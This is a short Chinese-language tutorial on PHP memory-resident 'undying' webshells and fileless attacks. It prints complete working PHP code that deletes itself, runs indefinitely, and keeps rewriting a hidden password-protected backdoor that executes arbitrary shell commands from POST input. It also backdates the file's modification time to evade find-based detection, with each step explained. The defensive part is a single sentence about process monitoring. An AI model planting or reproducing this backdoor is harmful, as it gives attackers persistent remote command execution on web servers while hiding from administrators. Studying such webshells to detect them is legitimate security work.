基本概念
内存性木马即不死马,一般会删除自身以进程的形式循环创建隐蔽的后门。内存马是无文件攻击的一种技术手段,那我们不得不先简单介绍一下无文件攻击。无文件攻击可以有效地躲避传统安全软件的检测,它们可以在系统的内存中远程加载执行、驻留在注册表中或滥用常用的白名单工具,例如PowerShell,Windows Management Instrumentation(WMI)和PsExec等。无文件攻击技术允许攻击者访问系统,从而启用后续的恶意活动。通过操纵漏洞利用程序、合法工具、宏和脚本,攻击者可以破坏系统、提升特权或在网络上横向传播恶意代码。而且,无文件威胁在执行后不会留下任何痕迹,这使其难以被检测和清除。 在这里我们只介绍PHP内存马。 PHP内存马利用脚本解析执行特性,调用PHP运行时文件访问接口动态加载恶意代码,之后调用PHP运行时外部命令执行接口执行恶意代码。
分类
① 当PHP-FPM启用时,通过Fastcgi协议(Fastcgi协议是服务器中间件和后端进行数据交换的协议)向PHP-FPM发起请求执行任意文件。如果PHP-FPM可被外部访问,攻击者通过Fastcgi协议可直接请求PHP-FPM执行”任意文件”。 ② 内存驻留Webshell通常会在php执行起来后,删除php文件本体。
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '/var/www/dvwa/.ski12.php';
$code = '<?php if(md5($_POST["pass"])=="cdd7b7420654eb16c1e1b748d5b7c5b8"){@system($_POST[a]);}?>';
while (1) {
file_put_contents($file, $code);
system('touch -m -d "2018-12-01 09:10:12" .ski12.php');
usleep(5000);
}
?>
ignore_user_abort()函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。
set_time_limit()函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制。
unlink(FILE)删除文件本身,以起到隐蔽自身的作用。
while循环内每隔usleep(5000)即写新的后门文件,中间system()执行的命令用于修改文件的创建或修改时间,可以绕过“find –name ‘*.php’ –mmin -10”命令检测最近10分钟修改或新创建的PHP文件,但不一定有用,可选。
至于最后生成的隐蔽后门在需要校验一个POST参数的MD5值,原因在于防止其他人可以进行利用。
防护原理
通过对PHP执行进程进行监控,关联分析敏感行为以识别此类攻击
|